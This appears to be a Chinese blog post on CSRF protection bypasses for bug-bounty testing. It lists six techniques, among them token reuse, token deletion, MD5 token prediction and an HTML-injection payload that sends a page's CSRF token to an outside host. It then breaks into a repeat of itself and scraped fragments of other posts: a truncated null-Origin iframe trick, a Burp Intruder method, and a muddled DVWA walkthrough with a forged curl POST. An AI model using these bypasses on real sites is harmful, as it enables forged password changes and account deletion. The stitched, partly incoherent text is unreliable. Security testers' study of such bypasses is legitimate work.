你们都知道CSRF是什么,如果不是的话,您就不会出现在我的博客上。今天,在本文中,我将解释对测试网站的CSRF保护的四个简单测试,这些测试可能会导致CSRF绕过,这反过来可以为您赚钱。

1. 在帐户之间使用CSRF令牌

最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点

从帐户A登录到应用程序
转到其密码更改页面
使用burp代理捕获CSRF令牌
注销账户A,然后登录B账户
转到密码更改页面并拦截该请求
使用A的csrf token 代替 账户B的

2. 替换相同长度的值

另一种技术是,您可以找到该令牌的长度,例如,它是在您将同一变量替换为其他32个字符值的变量authenticity_token下包含32个字符的字母数字令牌

例如,令牌为ud019eh10923213213123,您将其替换为具有相同值的令牌。(相同长度)

3. 从请求中完全删除CSRF token

此技术通常适用于帐户删除功能,在这些功能中根本不验证令牌,这使攻击者可以通过CSRF删除任何用户的帐户。但是我发现它也可以在其他功能上工作。很简单,您用burpsuite拦截了请求,并从整个令牌中删除了令牌,我测试过的应用程序中有40%被发现容易受到此技术的攻击

4. 解码CSRF令牌

绕过CSRF的另一种方法是识别CSRF令牌的算法。根据我的经验,CSRF令牌是MD5或Base64编码的值。您可以解码该值并对该算法中的下一个值进行编码,然后使用该令牌。例如,"a0a080f42e6f13b3a2df133f073095dd"是MD5(122)。您可以类似地将下一个值MD5(123)作为CSRF令牌已达到绕过的目的。

5. 通过HTML注入提取令牌

此技术利用HTML注入漏洞,攻击者可以利用该漏洞植入记录器,以从该网页提取CSRF令牌并使用该令牌。攻击者可以植入链接,例如:

<form action=”http://shahmeeramir.com/acquire_token.php”></textarea>

6. 仅使用令牌的静态部分

经常观察到CSRF令牌由两部分组成。静态部分和动态部分。考虑两个CSRF令牌shahmeer742498h989889和shahmeer7424ashda099s。shahmeer7424作为静态部分当作令牌使用。

还有许多其他方法可以绕过CSRF保护,但是我在寻找bug的过程中大多遇到这些情况。

你们都知道CSRF是什么,如果不是的话,您就不会出现在我的博客上。今天,在本文中,我将解释对测试网站的CSRF保护的四个简单测试,这些测试可能会导致CSRF绕过,这反过来可以为您赚钱。1. 在帐户之间使用CSRF令牌最简单和最致命的CSRF绕过是当应用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。为了验证这一点从帐户A登录到应用程序转到其密码更改页面使用b...
转载至https://threezh1.com/2020/02/25/ CSRF %E7%BB%95%E8%BF%87%E6%95%B4%E7%90%86/ Origin & Referer BypassNull值 绕过 当遇到一个cors可用null值 绕过 时,用iframe配合data协议,就可以发送一个origin为null的请求。这个 绕过 方式同样也可以用在 CSRF 这里。 1<iframe sandbox="allow-scripts allow-top-navigation allow-fo
使用Burp Suite 两种方式 绕过 CSRF _TOKE 第一种 绕过 姿势( csrf _token存在于当前页面):第二种 绕过 姿势( csrf _token不存在于当前页面):分两步:第一步第二步 第一种 绕过 姿势( csrf _token存在于当前页面): 按照国际惯例将请求发送到Intruder,然后在Position中设置变量。 我这里模拟一下,各位看官就凑合看吧,因为有 csrf _token,那么变量数量肯定大于1,Attack type就需要更改了,因为Sniper只支持单个变量,我们设置成Pitchfork。
首先,我们需要在本地搭建一个DVWA环境。DVWA是一个漏洞练习平台,可以用于学习和测试 Web 应用程序的 安全 性。您可以从以下网站下载DVWA并进行安装:https://github.com/ethicalhack3r/DVWA。 接下来,我们需要 绕过 CSRF -token进行攻击。 CSRF -token是一种防止 CSRF 攻击的措施,它是一个随机生成的字符串,用于验证请求是否来自合法的来源。在DVWA中,我们可以通过修改一个cookie来 绕过 CSRF -token。 下面是具体的攻击步骤: 1. 打开DVWA,登录并进入 CSRF 实验页面。 2. 在Chrome浏览器中打开开发者工具,切换到“Network”选项卡,勾选“Preserve log”选项。 3. 在实验页面中点击“View Source”按钮,查看页面源代码。 4. 在源代码中找到与 CSRF -token相关的代码,我们可以看到以下代码: <input type="hidden" name="user_token" value="<?php echo $_SESSION['user_token']; ?>"> 5. 复制 CSRF -token,它通常位于name="user_token"的input标签中,value属性的值为一个长字符串。 6. 在开发者工具中找到与此页面对应的请求,点击它打开请求详情。 7. 在请求详情中找到Cookie选项卡,找到名为“PHPSESSID”的cookie并复制它的值。 8. 使用一个新的浏览器标签打开一个在线表单生成器,例如:https://www.123formbuilder.com/free-form-templates/Online-Order-Form-3578911/。 9. 在表单生成器中创建一个POST表单,将请求方法设置为POST,并填写以下表单字段: action: http://your-dvwa-site.com/vulnerabilities/ csrf / amount: 1000 10. 在开发者工具中找到此页面对应的请求,复制请求头中的所有内容。 11. 使用curl或其他工具发送POST请求,将以上内容作为请求头发送,例如: curl -X POST 'http://your-dvwa-site.com/vulnerabilities/ csrf /' \ -H 'Cookie: PHPSESSID=your-session-id-here' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Referer: http://your-dvwa-site.com/vulnerabilities/ csrf /' \ -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple Web Kit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' \ -H 'Upgrade-Insecure-Requests: 1' \ -H 'Origin: http://your-dvwa-site.com' \ -H 'Accept-Encoding: gzip, deflate' \ -H 'Accept-Language: en-US,en;q=0.9' \ -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/ web p,*/*;q=0.8' \ --data 'user_token=your- csrf -token-here&amount=1000&action=transfer' 12. 您应该会看到成功的响应。 总之,这个实验展示了 CSRF 攻击的危害性以及如何 绕过 CSRF -token进行攻击。在实际应用中,我们应该采取更加 安全 的措施来防止 CSRF 攻击,例如使用双重身份验证或者更加严格的 CSRF -token验证。